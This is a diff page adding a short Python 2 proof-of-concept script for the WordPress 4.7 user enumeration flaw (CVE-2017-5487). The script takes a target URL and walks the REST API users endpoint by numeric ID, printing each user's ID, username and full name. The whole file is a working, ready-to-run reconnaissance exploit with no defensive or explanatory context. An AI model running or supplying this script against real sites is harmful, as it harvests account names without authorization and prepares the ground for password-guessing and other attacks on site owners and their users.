File tree 1 file changed +21
-0
lines changed
1 file changed +21
-0
lines changed Original file line number Diff line number Diff line change
1
+ import requests
2
+ import json
3
+ print "#############################################################"
4
+ print "\t Wordpress 4.7 User Enumeration PoC (CVE 2017-5487)\n \t \t \t WPVDB ID: 8715\n \n \t \t \t By Alienwithin"
5
+ print "#############################################################\n \n "
6
+ targetSite = raw_input ("Please enter the URL to target e.g. http://target.com : \n Site URL: " )
7
+ NumberOfUsers = raw_input ("Please enter the number of users to retrieve e.g. 10\n " )
8
+ print "ID || Username || Full Name\n \n "
9
+ for users in range (1 , int (NumberOfUsers )):
10
+ req = requests .get (targetSite + '/wp-json/wp/v2/users/' + str (users ))
11
+ target_info_parsed = json .loads (req .text )
12
+ if 'id' not in target_info_parsed :
13
+ print "No user with ID :" + str (users )
14
+ req .close ()
15
+ else :
16
+ target_id = target_info_parsed ['id' ]
17
+ target_name = target_info_parsed ['name' ]
18
+ target_username = target_info_parsed ['slug' ]
19
+ print str (target_id )+ " || " + str (target_username ) + " || " + str (target_name )+ "\n "
20
+ req .close ()
21
+
You can’t perform that action at this time.
0 commit comments